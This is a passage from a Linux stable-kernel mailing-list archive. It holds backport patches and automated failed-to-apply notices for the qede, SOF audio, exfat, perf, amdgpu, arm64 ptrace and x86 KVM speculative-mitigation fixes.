PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes: 2950219d87b0 ("qede: Add basic network device support")
Signed-off-by: Manish Chopra <manishc(a)marvell.com>
Signed-off-by: Alok Prasad <palok(a)marvell.com>
Reviewed-by: John Meneghini <jmeneghi(a)redhat.com>
Reviewed-by: Simon Horman <horms(a)kernel.org>
Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/ethernet/qlogic/qede/qede_main.c b/drivers/net/ethernet/qlogic/qede/qede_main.c
index 4b004a728190..99df00c30b8c 100644
--- a/drivers/net/ethernet/qlogic/qede/qede_main.c
+++ b/drivers/net/ethernet/qlogic/qede/qede_main.c
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param)
}
#endif
+static int __maybe_unused qede_suspend(struct device *dev)
+{
+ dev_info(dev, "Device does not support suspend operation\n");
+
+ return -EOPNOTSUPP;
+}
+
+static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL);
+
static const struct pci_error_handlers qede_err_handler = {
.error_detected = qede_io_error_detected,
};
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = {
.sriov_configure = qede_sriov_configure,
#endif
.err_handler = &qede_err_handler,
+ .driver.pm = &qede_pm_ops,
};
static struct qed_eth_cb_ops qede_ll_ops = {
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] qede: fix firmware halt over suspend and resume" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 2eb9625a3a32251ecea470cd576659a3a03b4e59
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082100-conduit-wildfowl-9f5b@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
2eb9625a3a32 ("qede: fix firmware halt over suspend and resume")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 2eb9625a3a32251ecea470cd576659a3a03b4e59 Mon Sep 17 00:00:00 2001
From: Manish Chopra <manishc(a)marvell.com>
Date: Wed, 16 Aug 2023 20:37:11 +0530
Subject: [PATCH] qede: fix firmware halt over suspend and resume
While performing certain power-off sequences, PCI drivers are
called to suspend and resume their underlying devices through
PCI PM (power management) interface. However this NIC hardware
does not support PCI PM suspend/resume operations so system wide
suspend/resume leads to bad MFW (management firmware) state which
causes various follow-up errors in driver when communicating with
the device/firmware afterwards.
To fix this driver implements PCI PM suspend handler to indicate
unsupported operation to the PCI subsystem explicitly, thus avoiding
system to go into suspended/standby mode.
Without this fix device/firmware does not recover unless system
is power cycled.
Fixes: 2950219d87b0 ("qede: Add basic network device support")
Signed-off-by: Manish Chopra <manishc(a)marvell.com>
Signed-off-by: Alok Prasad <palok(a)marvell.com>
Reviewed-by: John Meneghini <jmeneghi(a)redhat.com>
Reviewed-by: Simon Horman <horms(a)kernel.org>
Link: https://lore.kernel.org/r/20230816150711.59035-1-manishc@marvell.com
Signed-off-by: Jakub Kicinski <kuba(a)kernel.org>
diff --git a/drivers/net/ethernet/qlogic/qede/qede_main.c b/drivers/net/ethernet/qlogic/qede/qede_main.c
index 4b004a728190..99df00c30b8c 100644
--- a/drivers/net/ethernet/qlogic/qede/qede_main.c
+++ b/drivers/net/ethernet/qlogic/qede/qede_main.c
@@ -176,6 +176,15 @@ static int qede_sriov_configure(struct pci_dev *pdev, int num_vfs_param)
}
#endif
+static int __maybe_unused qede_suspend(struct device *dev)
+{
+ dev_info(dev, "Device does not support suspend operation\n");
+
+ return -EOPNOTSUPP;
+}
+
+static DEFINE_SIMPLE_DEV_PM_OPS(qede_pm_ops, qede_suspend, NULL);
+
static const struct pci_error_handlers qede_err_handler = {
.error_detected = qede_io_error_detected,
};
@@ -190,6 +199,7 @@ static struct pci_driver qede_pci_driver = {
.sriov_configure = qede_sriov_configure,
#endif
.err_handler = &qede_err_handler,
+ .driver.pm = &qede_pm_ops,
};
static struct qed_eth_cb_ops qede_ll_ops = {
2 years, 4 months
- 1
- 0
[PATCH] [6.4.y] ASoC: SOF: intel: hda: Clean up link DMA for IPC3 during stop
by Jaroslav Kysela
From: Ranjani Sridharan <ranjani.sridharan(a)linux.intel.com>
commit 90219f1bd273055f1dc1d7bdc0965755b992c045 upstream.
With IPC3, we reset hw_params during the stop trigger, so we should also
clean up the link DMA during the stop trigger.
Cc: <stable(a)vger.kernel.org> # 6.4.x
Fixes: 1bf83fa6654c ("ASoC: SOF: Intel: hda-dai: Do not perform DMA cleanup during stop")
Closes: https://github.com/thesofproject/linux/issues/4455
Closes: https://github.com/thesofproject/linux/issues/4482
Closes: https://bugzilla.kernel.org/show_bug.cgi?id=217673
Signed-off-by: Ranjani Sridharan <ranjani.sridharan(a)linux.intel.com>
Reviewed-by: Pierre-Louis Bossart <pierre-louis.bossart(a)linux.intel.com>
Reviewed-by: Rander Wang <rander.wang(a)intel.com>
Reviewed-by: Péter Ujfalusi <peter.ujfalusi(a)linux.intel.com>
Reviewed-by: Guennadi Liakhovetski <guennadi.liakhovetski(a)linux.intel.com>
Reviewed-by: Bard Liao <yung-chuan.liao(a)linux.intel.com>
Signed-off-by: Peter Ujfalusi <peter.ujfalusi(a)linux.intel.com>
Link: https://lore.kernel.org/r/20230808110627.32375-1-peter.ujfalusi@linux.intel…
Signed-off-by: Mark Brown <broonie(a)kernel.org>
Note that many recent Intel based laptops are affected.
Added missing code for 6.4 kernels to keep the fix simple not depending
on the other changes. This commit is present in 6.5 tree already.
Signed-off-by: Jaroslav Kysela <perex(a)perex.cz>
---
sound/soc/sof/intel/hda-dai-ops.c | 13 ++++++++++++-
sound/soc/sof/intel/hda-dai.c | 8 ++++----
sound/soc/sof/intel/hda.h | 2 ++
3 files changed, 18 insertions(+), 5 deletions(-)
diff --git a/sound/soc/sof/intel/hda-dai-ops.c b/sound/soc/sof/intel/hda-dai-ops.c
index 4b39cecacd68..5938046f46b2 100644
--- a/sound/soc/sof/intel/hda-dai-ops.c
+++ b/sound/soc/sof/intel/hda-dai-ops.c
@@ -289,16 +289,27 @@ static const struct hda_dai_widget_dma_ops hda_ipc4_chain_dma_ops = {
static int hda_ipc3_post_trigger(struct snd_sof_dev *sdev, struct snd_soc_dai *cpu_dai,
struct snd_pcm_substream *substream, int cmd)
{
+ struct hdac_ext_stream *hext_stream = hda_get_hext_stream(sdev, cpu_dai, substream);
struct snd_soc_dapm_widget *w = snd_soc_dai_get_widget(cpu_dai, substream->stream);
+ struct snd_soc_pcm_runtime *rtd = asoc_substream_to_rtd(substream);
+ struct snd_soc_dai *codec_dai = asoc_rtd_to_codec(rtd, 0);
switch (cmd) {
case SNDRV_PCM_TRIGGER_SUSPEND:
case SNDRV_PCM_TRIGGER_STOP:
{
struct snd_sof_dai_config_data data = { 0 };
+ int ret;
data.dai_data = DMA_CHAN_INVALID;
- return hda_dai_config(w, SOF_DAI_CONFIG_FLAGS_HW_FREE, &data);
+ ret = hda_dai_config(w, SOF_DAI_CONFIG_FLAGS_HW_FREE, &data);
+ if (ret < 0)
+ return ret;
+
+ if (cmd == SNDRV_PCM_TRIGGER_STOP)
+ return hda_link_dma_cleanup(substream, hext_stream, cpu_dai, codec_dai);
+
+ break;
}
case SNDRV_PCM_TRIGGER_PAUSE_PUSH:
return hda_dai_config(w, SOF_DAI_CONFIG_FLAGS_PAUSE, NULL);
diff --git a/sound/soc/sof/intel/hda-dai.c b/sound/soc/sof/intel/hda-dai.c
index 44a5d94c5050..8a76320c3b99 100644
--- a/sound/soc/sof/intel/hda-dai.c
+++ b/sound/soc/sof/intel/hda-dai.c
@@ -91,10 +91,10 @@ hda_dai_get_ops(struct snd_pcm_substream *substream, struct snd_soc_dai *cpu_dai
return sdai->platform_private;
}
-static int hda_link_dma_cleanup(struct snd_pcm_substream *substream,
- struct hdac_ext_stream *hext_stream,
- struct snd_soc_dai *cpu_dai,
- struct snd_soc_dai *codec_dai)
+int hda_link_dma_cleanup(struct snd_pcm_substream *substream,
+ struct hdac_ext_stream *hext_stream,
+ struct snd_soc_dai *cpu_dai,
+ struct snd_soc_dai *codec_dai)
{
struct snd_sof_dev *sdev = snd_soc_component_get_drvdata(cpu_dai->component);
const struct hda_dai_widget_dma_ops *ops = hda_dai_get_ops(substream, cpu_dai);
diff --git a/sound/soc/sof/intel/hda.h b/sound/soc/sof/intel/hda.h
index c4befacde23e..94c738eae751 100644
--- a/sound/soc/sof/intel/hda.h
+++ b/sound/soc/sof/intel/hda.h
@@ -942,5 +942,7 @@ const struct hda_dai_widget_dma_ops *
hda_select_dai_widget_ops(struct snd_sof_dev *sdev, struct snd_sof_widget *swidget);
int hda_dai_config(struct snd_soc_dapm_widget *w, unsigned int flags,
struct snd_sof_dai_config_data *data);
+int hda_link_dma_cleanup(struct snd_pcm_substream *substream, struct hdac_ext_stream *hext_stream,
+ struct snd_soc_dai *cpu_dai, struct snd_soc_dai *codec_dai);
#endif
--
2.41.0
2 years, 4 months
- 2
- 1
[PATCH 5.15.y] exfat: check if filename entries exceeds max filename length
by Harshit Mogalapalli
From: Namjae Jeon <linkinjeon(a)kernel.org>
[ Upstream commit d42334578eba1390859012ebb91e1e556d51db49 ]
exfat_extract_uni_name copies characters from a given file name entry into
the 'uniname' variable. This variable is actually defined on the stack of
the exfat_readdir() function. According to the definition of
the 'exfat_uni_name' type, the file name should be limited 255 characters
(+ null teminator space), but the exfat_get_uniname_from_ext_entry()
function can write more characters because there is no check if filename
entries exceeds max filename length. This patch add the check not to copy
filename characters when exceeding max filename length.
Cc: stable(a)vger.kernel.org
Cc: Yuezhang Mo <Yuezhang.Mo(a)sony.com>
Reported-by: Maxim Suhanov <dfirblog(a)gmail.com>
Reviewed-by: Sungjong Seo <sj1557.seo(a)samsung.com>
Signed-off-by: Namjae Jeon <linkinjeon(a)kernel.org>
Signed-off-by: Sasha Levin <sashal(a)kernel.org>
[Harshit: backport to 5.15.y]
Signed-off-by: Harshit Mogalapalli <harshit.m.mogalapalli(a)oracle.com>
---
The conflict resolved patch for 6.1.y applies cleanly to 5.15.y as
well.
Note: This fix is already present in 5.10.y but missing in 5.15.y
---
fs/exfat/dir.c | 9 +++++++--
1 file changed, 7 insertions(+), 2 deletions(-)
diff --git a/fs/exfat/dir.c b/fs/exfat/dir.c
index 8475a8653c3a..f6dd4fc8eaf4 100644
--- a/fs/exfat/dir.c
+++ b/fs/exfat/dir.c
@@ -34,6 +34,7 @@ static void exfat_get_uniname_from_ext_entry(struct super_block *sb,
{
int i;
struct exfat_entry_set_cache *es;
+ unsigned int uni_len = 0, len;
es = exfat_get_dentry_set(sb, p_dir, entry, ES_ALL_ENTRIES);
if (!es)
@@ -52,7 +53,10 @@ static void exfat_get_uniname_from_ext_entry(struct super_block *sb,
if (exfat_get_entry_type(ep) != TYPE_EXTEND)
break;
- exfat_extract_uni_name(ep, uniname);
+ len = exfat_extract_uni_name(ep, uniname);
+ uni_len += len;
+ if (len != EXFAT_FILE_NAME_LEN || uni_len >= MAX_NAME_LENGTH)
+ break;
uniname += EXFAT_FILE_NAME_LEN;
}
@@ -1032,7 +1036,8 @@ int exfat_find_dir_entry(struct super_block *sb, struct exfat_inode_info *ei,
if (entry_type == TYPE_EXTEND) {
unsigned short entry_uniname[16], unichar;
- if (step != DIRENT_STEP_NAME) {
+ if (step != DIRENT_STEP_NAME ||
+ name_len >= MAX_NAME_LENGTH) {
step = DIRENT_STEP_FILE;
continue;
}
--
2.34.1
2 years, 4 months
- 2
- 1
FAILED: patch "[PATCH] Revert "perf report: Append inlines to non-DWARF callchains"" failed to apply to 6.4-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.4-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.4.y
git checkout FETCH_HEAD
git cherry-pick -x c0b067588a4836b762cfc6a4c83f122ca1dbb93a
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023081251-conceal-stool-53f1@gregkh' --subject-prefix 'PATCH 6.4.y' HEAD^..
Possible dependencies:
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From c0b067588a4836b762cfc6a4c83f122ca1dbb93a Mon Sep 17 00:00:00 2001
From: Arnaldo Carvalho de Melo <acme(a)kernel.org>
Date: Tue, 1 Aug 2023 18:42:47 -0300
Subject: [PATCH] Revert "perf report: Append inlines to non-DWARF callchains"
This reverts commit 46d21ec067490ab9cdcc89b9de5aae28786a8b8e.
The tests were made with a specific workload, further tests on a
recently updated fedora 38 system with a system wide perf.data file
shows 'perf report' taking excessive time resolving inlines in vmlinux,
so lets revert this until a full investigation and improvement on the
addr2line support code is made.
Reported-by: Jesper Dangaard Brouer <hawk(a)kernel.org>
Acked-by: Artem Savkov <asavkov(a)redhat.com>
Tested-by: Jesper Dangaard Brouer <hawk(a)kernel.org>
Cc: Andrii Nakryiko <andrii.nakryiko(a)gmail.com>
Cc: Namhyung Kim <namhyung(a)kernel.org>
Cc: Adrian Hunter <adrian.hunter(a)intel.com>
Cc: Alexander Shishkin <alexander.shishkin(a)linux.intel.com>
Cc: Ian Rogers <irogers(a)google.com>
Cc: Ingo Molnar <mingo(a)redhat.com>
Cc: Jiri Olsa <jolsa(a)kernel.org>
Cc: Mark Rutland <mark.rutland(a)arm.com>
Cc: Masami Hiramatsu <mhiramat(a)kernel.org>
Cc: Milian Wolff <milian.wolff(a)kdab.com>
Cc: Peter Zijlstra <peterz(a)infradead.org>
Link: https://lore.kernel.org/r/ZMl8VyhdwhClTM5g@kernel.org
Signed-off-by: Arnaldo Carvalho de Melo <acme(a)redhat.com>
diff --git a/tools/perf/util/machine.c b/tools/perf/util/machine.c
index 4e62843d51b7..f4cb41ee23cd 100644
--- a/tools/perf/util/machine.c
+++ b/tools/perf/util/machine.c
@@ -45,7 +45,6 @@
static void __machine__remove_thread(struct machine *machine, struct thread_rb_node *nd,
struct thread *th, bool lock);
-static int append_inlines(struct callchain_cursor *cursor, struct map_symbol *ms, u64 ip);
static struct dso *machine__kernel_dso(struct machine *machine)
{
@@ -2385,10 +2384,6 @@ static int add_callchain_ip(struct thread *thread,
ms.maps = maps__get(al.maps);
ms.map = map__get(al.map);
ms.sym = al.sym;
-
- if (!branch && append_inlines(cursor, &ms, ip) == 0)
- goto out;
-
srcline = callchain_srcline(&ms, al.addr);
err = callchain_cursor_append(cursor, ip, &ms,
branch, flags, nr_loop_iter,
2 years, 4 months
- 4
- 4
[PATCH 1/2] drm/amd/pm: skip the RLC stop when S0i3 suspend for SMU v13.0.4/11
by Alex Deucher
From: Tim Huang <Tim.Huang(a)amd.com>
For SMU v13.0.4/11, driver does not need to stop RLC for S0i3,
the firmwares will handle that properly.
Signed-off-by: Tim Huang <Tim.Huang(a)amd.com>
Reviewed-by: Mario Limonciello <mario.limonciello(a)amd.com>
Signed-off-by: Alex Deucher <alexander.deucher(a)amd.com>
(cherry picked from commit 730d44e1fa306a20746ad4a85da550662aed9daa)
Cc: stable(a)vger.kernel.org # 6.1.x
---
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c b/drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c
index ea03e8d9a3f6..818379276a58 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c
@@ -1573,9 +1573,9 @@ static int smu_disable_dpms(struct smu_context *smu)
/*
* For SMU 13.0.4/11, PMFW will handle the features disablement properly
- * for gpu reset case. Driver involvement is unnecessary.
+ * for gpu reset and S0i3 cases. Driver involvement is unnecessary.
*/
- if (amdgpu_in_reset(adev)) {
+ if (amdgpu_in_reset(adev) || adev->in_s0ix) {
switch (adev->ip_versions[MP1_HWIP][0]) {
case IP_VERSION(13, 0, 4):
case IP_VERSION(13, 0, 11):
--
2.41.0
2 years, 4 months
- 3
- 6
FAILED: patch "[PATCH] arm64/ptrace: Ensure that SME is set up for target when" failed to apply to 6.1-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 6.1-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-6.1.y
git checkout FETCH_HEAD
git cherry-pick -x 5d0a8d2fba50e9c07cde4aad7fba28c008b07a5b
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082121-chewing-regroup-4f67@gregkh' --subject-prefix 'PATCH 6.1.y' HEAD^..
Possible dependencies:
5d0a8d2fba50 ("arm64/ptrace: Ensure that SME is set up for target when writing SSVE state")
f90b529bcbe5 ("arm64/sme: Implement ZT0 ptrace support")
ce514000da4f ("arm64/sme: Rename za_state to sme_state")
1192b93ba352 ("arm64/fp: Use a struct to pass data to fpsimd_bind_state_to_cpu()")
deeb8f9a80fd ("arm64/fpsimd: Have KVM explicitly say which FP registers to save")
baa8515281b3 ("arm64/fpsimd: Track the saved FPSIMD state type separately to TIF_SVE")
93ae6b01bafe ("KVM: arm64: Discard any SVE state when entering KVM guests")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 5d0a8d2fba50e9c07cde4aad7fba28c008b07a5b Mon Sep 17 00:00:00 2001
From: Mark Brown <broonie(a)kernel.org>
Date: Thu, 10 Aug 2023 12:28:19 +0100
Subject: [PATCH] arm64/ptrace: Ensure that SME is set up for target when
writing SSVE state
When we use NT_ARM_SSVE to either enable streaming mode or change the
vector length for a process we do not currently do anything to ensure that
there is storage allocated for the SME specific register state. If the
task had not previously used SME or we changed the vector length then
the task will not have had TIF_SME set or backing storage for ZA/ZT
allocated, resulting in inconsistent register sizes when saving state
and spurious traps which flush the newly set register state.
We should set TIF_SME to disable traps and ensure that storage is
allocated for ZA and ZT if it is not already allocated. This requires
modifying sme_alloc() to make the flush of any existing register state
optional so we don't disturb existing state for ZA and ZT.
Fixes: e12310a0d30f ("arm64/sme: Implement ptrace support for streaming mode SVE registers")
Reported-by: David Spickett <David.Spickett(a)arm.com>
Signed-off-by: Mark Brown <broonie(a)kernel.org>
Cc: <stable(a)vger.kernel.org> # 5.19.x
Link: https://lore.kernel.org/r/20230810-arm64-fix-ptrace-race-v1-1-a5361fad2bd6@…
Signed-off-by: Catalin Marinas <catalin.marinas(a)arm.com>
diff --git a/arch/arm64/include/asm/fpsimd.h b/arch/arm64/include/asm/fpsimd.h
index 67f2fb781f59..8df46f186c64 100644
--- a/arch/arm64/include/asm/fpsimd.h
+++ b/arch/arm64/include/asm/fpsimd.h
@@ -356,7 +356,7 @@ static inline int sme_max_virtualisable_vl(void)
return vec_max_virtualisable_vl(ARM64_VEC_SME);
}
-extern void sme_alloc(struct task_struct *task);
+extern void sme_alloc(struct task_struct *task, bool flush);
extern unsigned int sme_get_vl(void);
extern int sme_set_current_vl(unsigned long arg);
extern int sme_get_current_vl(void);
@@ -388,7 +388,7 @@ static inline void sme_smstart_sm(void) { }
static inline void sme_smstop_sm(void) { }
static inline void sme_smstop(void) { }
-static inline void sme_alloc(struct task_struct *task) { }
+static inline void sme_alloc(struct task_struct *task, bool flush) { }
static inline void sme_setup(void) { }
static inline unsigned int sme_get_vl(void) { return 0; }
static inline int sme_max_vl(void) { return 0; }
diff --git a/arch/arm64/kernel/fpsimd.c b/arch/arm64/kernel/fpsimd.c
index 75c37b1c55aa..087c05aa960e 100644
--- a/arch/arm64/kernel/fpsimd.c
+++ b/arch/arm64/kernel/fpsimd.c
@@ -1285,9 +1285,9 @@ void fpsimd_release_task(struct task_struct *dead_task)
* the interest of testability and predictability, the architecture
* guarantees that when ZA is enabled it will be zeroed.
*/
-void sme_alloc(struct task_struct *task)
+void sme_alloc(struct task_struct *task, bool flush)
{
- if (task->thread.sme_state) {
+ if (task->thread.sme_state && flush) {
memset(task->thread.sme_state, 0, sme_state_size(task));
return;
}
@@ -1515,7 +1515,7 @@ void do_sme_acc(unsigned long esr, struct pt_regs *regs)
}
sve_alloc(current, false);
- sme_alloc(current);
+ sme_alloc(current, true);
if (!current->thread.sve_state || !current->thread.sme_state) {
force_sig(SIGKILL);
return;
diff --git a/arch/arm64/kernel/ptrace.c b/arch/arm64/kernel/ptrace.c
index 5b9b4305248b..a31af7a1abe3 100644
--- a/arch/arm64/kernel/ptrace.c
+++ b/arch/arm64/kernel/ptrace.c
@@ -881,6 +881,13 @@ static int sve_set_common(struct task_struct *target,
break;
case ARM64_VEC_SME:
target->thread.svcr |= SVCR_SM_MASK;
+
+ /*
+ * Disable traps and ensure there is SME storage but
+ * preserve any currently set values in ZA/ZT.
+ */
+ sme_alloc(target, false);
+ set_tsk_thread_flag(target, TIF_SME);
break;
default:
WARN_ON_ONCE(1);
@@ -1100,7 +1107,7 @@ static int za_set(struct task_struct *target,
}
/* Allocate/reinit ZA storage */
- sme_alloc(target);
+ sme_alloc(target, true);
if (!target->thread.sme_state) {
ret = -ENOMEM;
goto out;
@@ -1171,7 +1178,7 @@ static int zt_set(struct task_struct *target,
return -EINVAL;
if (!thread_za_enabled(&target->thread)) {
- sme_alloc(target);
+ sme_alloc(target, true);
if (!target->thread.sme_state)
return -ENOMEM;
}
diff --git a/arch/arm64/kernel/signal.c b/arch/arm64/kernel/signal.c
index e304f7ebec2a..c7ebe744c64e 100644
--- a/arch/arm64/kernel/signal.c
+++ b/arch/arm64/kernel/signal.c
@@ -475,7 +475,7 @@ static int restore_za_context(struct user_ctxs *user)
fpsimd_flush_task_state(current);
/* From now, fpsimd_thread_switch() won't touch thread.sve_state */
- sme_alloc(current);
+ sme_alloc(current, true);
if (!current->thread.sme_state) {
current->thread.svcr &= ~SVCR_ZA_MASK;
clear_thread_flag(TIF_SME);
2 years, 4 months
- 3
- 2
FAILED: patch "[PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM" failed to apply to 5.10-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.10-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.10.y
git checkout FETCH_HEAD
git cherry-pick -x 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082127-unvalued-sanitary-c79f@gregkh' --subject-prefix 'PATCH 5.10.y' HEAD^..
Possible dependencies:
864bcaa38ee4 ("x86/cpu/kvm: Provide UNTRAIN_RET_VM")
d893832d0e1e ("x86/srso: Add IBPB on VMEXIT")
233d6f68b98d ("x86/srso: Add IBPB")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
941d77c77339 ("Merge tag 'x86_cpu_for_v6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:35 +0200
Subject: [PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM
Similar to how it doesn't make sense to have UNTRAIN_RET have two
untrain calls, it also doesn't make sense for VMEXIT to have an extra
IBPB call.
This cures VMEXIT doing potentially unret+IBPB or double IBPB.
Also, the (SEV) VMEXIT case seems to have been overlooked.
Redefine the meaning of the synthetic IBPB flags to:
- ENTRY_IBPB -- issue IBPB on entry (was: entry + VMEXIT)
- IBPB_ON_VMEXIT -- issue IBPB on VMEXIT
And have 'retbleed=ibpb' set *BOTH* feature flags to ensure it retains
the previous behaviour and issues IBPB on entry+VMEXIT.
The new 'srso=ibpb_vmexit' option only sets IBPB_ON_VMEXIT.
Create UNTRAIN_RET_VM specifically for the VMEXIT case, and have that
check IBPB_ON_VMEXIT.
All this avoids having the VMEXIT case having to check both ENTRY_IBPB
and IBPB_ON_VMEXIT and simplifies the alternatives.
Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
Signed-off-by: Peter Zijlstra (Intel) <peterz(a)infradead.org>
Signed-off-by: Borislav Petkov (AMD) <bp(a)alien8.de>
Link: https://lore.kernel.org/r/20230814121149.109557833@infradead.org
diff --git a/arch/x86/include/asm/nospec-branch.h b/arch/x86/include/asm/nospec-branch.h
index 5285c8e93dff..c55cc243592e 100644
--- a/arch/x86/include/asm/nospec-branch.h
+++ b/arch/x86/include/asm/nospec-branch.h
@@ -299,6 +299,17 @@
#endif
.endm
+.macro UNTRAIN_RET_VM
+#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
+ defined(CONFIG_CALL_DEPTH_TRACKING) || defined(CONFIG_CPU_SRSO)
+ VALIDATE_UNRET_END
+ ALTERNATIVE_3 "", \
+ CALL_UNTRAIN_RET, X86_FEATURE_UNRET, \
+ "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT, \
+ __stringify(RESET_CALL_DEPTH), X86_FEATURE_CALL_DEPTH
+#endif
+.endm
+
.macro UNTRAIN_RET_FROM_CALL
#if defined(CONFIG_CPU_UNRET_ENTRY) || defined(CONFIG_CPU_IBPB_ENTRY) || \
defined(CONFIG_CALL_DEPTH_TRACKING)
diff --git a/arch/x86/kernel/cpu/bugs.c b/arch/x86/kernel/cpu/bugs.c
index 6f3e19527286..9026e3fe9f6c 100644
--- a/arch/x86/kernel/cpu/bugs.c
+++ b/arch/x86/kernel/cpu/bugs.c
@@ -1054,6 +1054,7 @@ static void __init retbleed_select_mitigation(void)
case RETBLEED_MITIGATION_IBPB:
setup_force_cpu_cap(X86_FEATURE_ENTRY_IBPB);
+ setup_force_cpu_cap(X86_FEATURE_IBPB_ON_VMEXIT);
mitigate_smt = true;
break;
diff --git a/arch/x86/kvm/svm/vmenter.S b/arch/x86/kvm/svm/vmenter.S
index 265452fc9ebe..ef2ebabb059c 100644
--- a/arch/x86/kvm/svm/vmenter.S
+++ b/arch/x86/kvm/svm/vmenter.S
@@ -222,10 +222,7 @@ SYM_FUNC_START(__svm_vcpu_run)
* because interrupt handlers won't sanitize 'ret' if the return is
* from the kernel.
*/
- UNTRAIN_RET
-
- /* SRSO */
- ALTERNATIVE "", "call entry_ibpb", X86_FEATURE_IBPB_ON_VMEXIT
+ UNTRAIN_RET_VM
/*
* Clear all general purpose registers except RSP and RAX to prevent
@@ -362,7 +359,7 @@ SYM_FUNC_START(__svm_sev_es_vcpu_run)
* because interrupt handlers won't sanitize RET if the return is
* from the kernel.
*/
- UNTRAIN_RET
+ UNTRAIN_RET_VM
/* "Pop" @spec_ctrl_intercepted. */
pop %_ASM_BX
2 years, 4 months
- 1
- 0
FAILED: patch "[PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM" failed to apply to 5.15-stable tree
by gregkh＠linuxfoundation.org
The patch below does not apply to the 5.15-stable tree.
If someone wants it applied there, or to any other stable or longterm
tree, then please email the backport, including the original git commit
id to <stable(a)vger.kernel.org>.
To reproduce the conflict and resubmit, you may use the following commands:
git fetch https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/ linux-5.15.y
git checkout FETCH_HEAD
git cherry-pick -x 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2
# <resolve conflicts, build, test, etc.>
git commit -s
git send-email --to '<stable(a)vger.kernel.org>' --in-reply-to '2023082126-yanking-circling-2487@gregkh' --subject-prefix 'PATCH 5.15.y' HEAD^..
Possible dependencies:
864bcaa38ee4 ("x86/cpu/kvm: Provide UNTRAIN_RET_VM")
d893832d0e1e ("x86/srso: Add IBPB on VMEXIT")
233d6f68b98d ("x86/srso: Add IBPB")
fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation")
941d77c77339 ("Merge tag 'x86_cpu_for_v6.5' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip")
thanks,
greg k-h
------------------ original commit in Linus's tree ------------------
From 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2 Mon Sep 17 00:00:00 2001
From: Peter Zijlstra <peterz(a)infradead.org>
Date: Mon, 14 Aug 2023 13:44:35 +0200
Subject: [PATCH] x86/cpu/kvm: Provide UNTRAIN_RET_VM
Similar to how it doesn't make sense to have UNTRAIN_RET have two
untrain calls, it also doesn't make sense for VMEXIT to have an extra
IBPB call.
This cures VMEXIT doing potentially unret+IBPB or double IBPB.
Also, the (SEV) VMEXIT case seems to have been overlooked.
